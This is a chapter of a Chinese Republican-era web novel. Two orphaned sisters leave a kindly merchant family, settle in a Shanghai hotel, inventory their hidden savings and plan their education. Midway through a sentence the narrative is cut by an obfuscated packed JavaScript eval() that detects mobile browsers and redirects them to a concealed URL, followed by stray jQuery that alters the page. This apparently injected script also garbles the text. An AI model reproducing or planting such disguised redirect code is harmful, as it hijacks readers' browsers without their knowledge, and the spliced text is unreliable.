43.第 43 章

作品:《这般颜色做将来(民国)

    受赵家庇护,洪釉和学梅姐妹两个的行程自然会受糖行的生意而影响。杨太太知道终有一别,甚至早早的帮姐妹两个准备起行李。姐妹两自己带的箱子包袱在杨太太眼里肯定是不够的,除了最近在杨家的穿用,她甚至准备了入秋的厚衣服和入冬的毛衣服。


    “啧啧啧,不晓得的还以为你嫁闺女呢。”老杨看见了不禁感叹。


    “好歹是相识一场的缘分,尽些心也不值什么,咱们家也不差这些。到时候一车带上,总比她们两人在人生地不熟的地方张罗要强。”杨太太说得是真心实意。


    不知哪根筋动了,老杨揶揄道:“等儿子娶亲,不知道你会不会也如此上心。既然这么喜欢,何不想办法做媒算了。学梅小姐比我们家那个大一点,正好抱金砖嘛。”


    杨太太好不容易压下的心思被老杨又挑起,她沉默了片刻之后慢慢吐出几个字:“齐大非偶。”


    “不是,我就不喜欢这话了。怎么就齐大非偶了。”老杨承认洪家姐妹两个是出挑的,但怎么也逃不出孤女二字的身份是她们的硬伤。人家在京里当名流小姐的时候,他们家是攀不上。如今怎么就不能一试了。


    想想因为姐两在赵大少爷面前挂上了号,这个月生意上明里暗里都多出来的份额,老杨就有些心动。


    “你当现在是我们那个时候的盲婚哑嫁呀。”杨太太来了个当头棒喝,“且不说女方,你儿子是在外头做留学生的,给他包办你认为他会愿意?”


    “这不是你都看好的好姑娘嘛!”


    “与其操心这个,你不如操心你儿子以后会不会给你带给洋人媳妇回来!”杨太太一记拧耳朵大法结束了老杨的幻想。


    送别的时候,杨太太还塞了张两百块的不记名存单到洪釉手里:“别拒绝,长辈给的不兴推辞。我知道以你姐姐的性子,你们姐两肯定有压箱底的钱。只是小姑娘家家的,总要交朋友、吃零食、喝饮料的,手里有些零花钱,总比老伸手找姐姐要强。”


    这样细致的关心让洪釉眼眶一热,她哪敢随便收下:“姐姐不会短了我的,而且这也太多了……”


    这段时间,洪釉算是从祈金堂一掷千金的氛围里脱敏了。她虽不知道杨太太给的具体面额,但是既然用了存单,那肯定是百数以上。当初她的身价钱也就一百多,已经顶上普通人家一年的花销。


    “沪上物价贵,钱不值钱。”杨太太换了种说法委婉道,“你想不想有钱给姐姐送惊喜?有点私房钱,到时候我去找你,你是不是也手上宽裕,可以请我喝杯咖啡什么的。”


    “哪能用您的钱来招待您。”


    洪釉被说得尴尬,只得以求助的目光看向学梅,最后在学梅默示的眼神下收下了存单。不管怎么说,杨太太都是她们姐妹两个的贵人。她用温暖和宽怀的怀抱淡化了她们两个从祈金堂里带出的凄苦气质,让她们看起来更像是出遭变故但又不谙世事的闺阁少女,更容易融入外面社会的上层阶层。


    “记得写信,有条件就打电话……”


    随着糖行的车子发动,杨太太还挥手同姐妹两个大声叮嘱着。为此,同在车上的老杨气得愤愤不平:“老子出门从没见你这样过。”


    “大老爷们,你哪能跟香香软软的姑娘家比!”空气中传来了杨太太的吼声。


    “等你们在沪上安置好了,首先就去电话局牵一条电话线。”老杨是个利益至上的,但也被眼下的氛围带得有些感性,“你们毕竟是两个女孩,有什么我们在瓜洲天长路远帮不上忙,但也总得维持一下你们跟赵少爷之间的关系。亲戚之间,等闲不能断了联系的。”


    老杨是站在姐两的立场上做提醒,也是站在自己的立场上点点姐妹两个。人嘛,总是利益交换的,他这段时间的付出得到了生意上的回报。他老婆的付出可比他要多,适当的替她争取一下,他觉得一点都不过分。


    “您说的都是经验之谈。”学梅笑道,也不觉得人家的话说得唐突。只是这人际往来的分寸,还有得她们姐两去摸索。


    初到沪上,姐妹两下榻的是沪上有名的明珠酒店。一天八个大洋的房费付得洪釉咋舌。她翻出杨太太给的存单:“照这说来,这仅仅只够二十来天的房费!”


    “十里洋场,纸醉金迷,说的就是沪上。”学梅不以为意。这八块她觉得付得值,她为的是酒店的环境、酒店的安保、酒店的阶层……


    既然带洪釉来了,就说明她们姐两要在沪上混出个人样。她会想办法给洪釉力所能及最好的生活。


    在酒店相对安全的环境,姐妹两个开始清点自己的资产:存单两百、大大小小面额的支票合起来有三千、从春芝那儿得来的存折有一万……这些都不是大头,大头的是她们箱子里的大黄鱼,总共合起来竟然有十二条之多。


    “还有这些钻石和戒指!”学梅从布袋里倒出这些闪闪发光的宝贝,它们在明亮的电灯下折射出迷人的火彩,“有价无市难以估值变现,但是这些用得好了,也是价值千金。”


    “那我们会不会被人找麻烦呀。”洪釉想起北平故人教给她的腰码一说,心下不安的将缘由讲给了学梅听。


    “哎哟我的傻妹妹!”学梅弹了弹洪釉的眉心,“北平的旧黄历,人家哪能追到沪上来。世道愈发乱了,哪还有那么多规矩。”


    “那就好。”听学梅这么说,洪釉放心的拍了拍胸脯。


    “等等!”学梅跟想起什么似的拍了下额头,她让洪釉抱来了她们之前逃难时的旧衣服。当初杨太太几次说要给她们扔掉,她都以破家值万贯的理由给拒绝了。


    在洪釉惊诧的目光中,学梅用剪刀,从衣服的立领、盘口等硬挺厚实的地方抽出一小把金线:“这些都是杏仪的巧思,她跟


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15283465|162349||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    个老鼠似的,惯会屯东西。她说行李目标大,万一丢了就什么都没了。但衣服里藏着的,只要衣服没被扒,就一定丢不了。遇到个万一,还有东山再起的机会。”


    以此为引,洪釉突然想起自己身上也藏着东西。她从贴身处掏出一个用手帕包着着的翡翠手镯:“当初芝妈妈拿着这想换杏仪姐姐的一个珐琅彩金镯,不过我们给了她一个铜的。杏仪姐姐说不喜欢石头玩意,就给了我。”


    “明明是能传世的宝贝,偏生被她说得跟什么似的。”学梅拿过镯子给红袖套手上,虽然圈口偏大但也能戴,“你手上空落落的,只有一个戴旧了的钻石手链,配上这个倒也不孤单。”


    洪釉那钻石手链也是杏仪给的,从前还为这生出过诸多事端。


    两人明明没有刻意提起杏仪,但她们的身边无处不在的存在着杏仪的影子。


    若是想平凡度日,这些东西足够姐妹两一辈子衣食无忧。想了想现在的局势,姐妹两个对视一眼,也没法发宏愿。


    “总是不能坐吃山空。”学梅道,“我们得想办法在租界买或者租个房子。然后……”


    姐妹之间的默契已经养成,才起了个话头,洪釉就知道学梅要说什么:“要去读书的!我会好好读书的。”


    从前读书只是某些人的特权,能有机会读书,洪釉如何不珍惜。她有些顾虑的说道:“可是我从前没上过学,只是认识些常用字。上学,我能跟上吗?”


    “没事,等找着房子,咱们再给你请个家庭教师。”学梅鼓励的握住了洪釉的手,“不难的。咱们那么多苦都吃过了。你那么认真,小小学习不成问题。”


    在瓜洲时,洪釉把没当众摸过琵琶,她一是怕泄了风尘气,被杨家人戳穿家底;二是确实心中哀痛,不敢直面这杏仪的爱物。现在,洪釉当着学梅的面,摩挲起琴弦来。


    “铮”、“铮”、“铮”,琴弦震动的声音不成曲调。学梅怕洪釉睹物思人,赶忙试图岔开话题:“你从前不是一直心心念念想学钢琴吗?那是史密斯纯粹是误人子弟。现在我们在沪上了,肯定会找到合适的老师,到时候我们专心学钢琴就行。”


    “没事的姐姐。”洪釉的反应来得比学梅想象中的平静,“怎么都是我学了这么久的东西。”


    “哪有,满打满算也就一年多。”


    “我不想就这么放弃了。”洪釉不想多提,只想对整件事落个定论。


    “那就徐徐图之吧。”硬劝洪釉放弃,学梅知道不合适。她只得以学业方面来劝说着洪釉:“我们到时候住租界,学钢琴肯定是大流,说不定学校里都有功课。钢琴和琵琶你若是能兼顾,我自是不说什么。但如果影响到了你的学业功课,就必然要有所取舍。”


    洪釉笑着练起了轮指,没有直接回答学梅的问题:“杏仪姐姐说过,乐理是通的。我能行的。”